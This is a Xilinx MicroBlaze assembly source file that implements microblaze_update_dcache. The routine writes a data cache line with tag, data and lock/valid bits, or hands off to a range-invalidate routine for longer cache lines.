/****************************************************************************** * Copyright (c) 2006 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * * File : microblaze_update_dcache.s * Date : 2003, September 24 * Company: Xilinx * Group : Emerging Software Technologies * * Summary: * Update dcache on the microblaze. * Takes in three parameters * r5 : Cache Tag Line * r6 : Cache Data * r7 : Lock/Valid information * Bit 30 is Lock [ 1 indicates locked ] * Bit 31 is Valid [ 1 indicates valid ] * * -------------------------------------------------------------- * | Lock | Valid | Effect * -------------------------------------------------------------- * | 0 | 0 | Invalidate Cache * | 0 | 1 | Valid, but unlocked cacheline * | 1 | 0 | Invalidate Cache, No effect of lock * | 1 | 1 | Valid cache. Locked to a * | | | particular address * -------------------------------------------------------------- * * **********************************************************************************/ #include "xparameters.h" #ifndef XPAR_MICROBLAZE_DCACHE_LINE_LEN #define XPAR_MICROBLAZE_DCACHE_LINE_LEN 1 #endif .text .globl microblaze_update_dcache .ent microblaze_update_dcache .align 2 microblaze_update_dcache: #if (XPAR_MICROBLAZE_USE_DCACHE==1) && (XPAR_MICROBLAZE_ALLOW_DCACHE_WR==1) #if XPAR_MICROBLAZE_DCACHE_LINE_LEN == 1 /* Read the MSR register into a temp register */ mfs r18, rmsr /* Clear the dcache enable bit to disable the cache Register r10,r18 are volatile registers and hence do not need to be saved before use */ andi r10, r18, ~128 mts rmsr, r10 /* Update the lock and valid info */ andi r5, r5, 0xfffffffc or r5, r5, r7 /* Update dcache */ wdc r5, r6 /* Return */ rtsd r15, 8 mts rmsr, r18 #else /* The only valid usage of this routine for larger cache line lengths is to invalidate a data cache line So call microblaze_init_dcache_range appropriately to do the job */ brid microblaze_init_dcache_range addik r6, r0, (XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) /* We don't have a return instruction here. This is tail call optimization :) */ #endif /* XPAR_MICROBLAZE_DCACHE_LINE_LEN == 1 */ #else rtsd r15, 8 nop #endif .end microblaze_update_dcache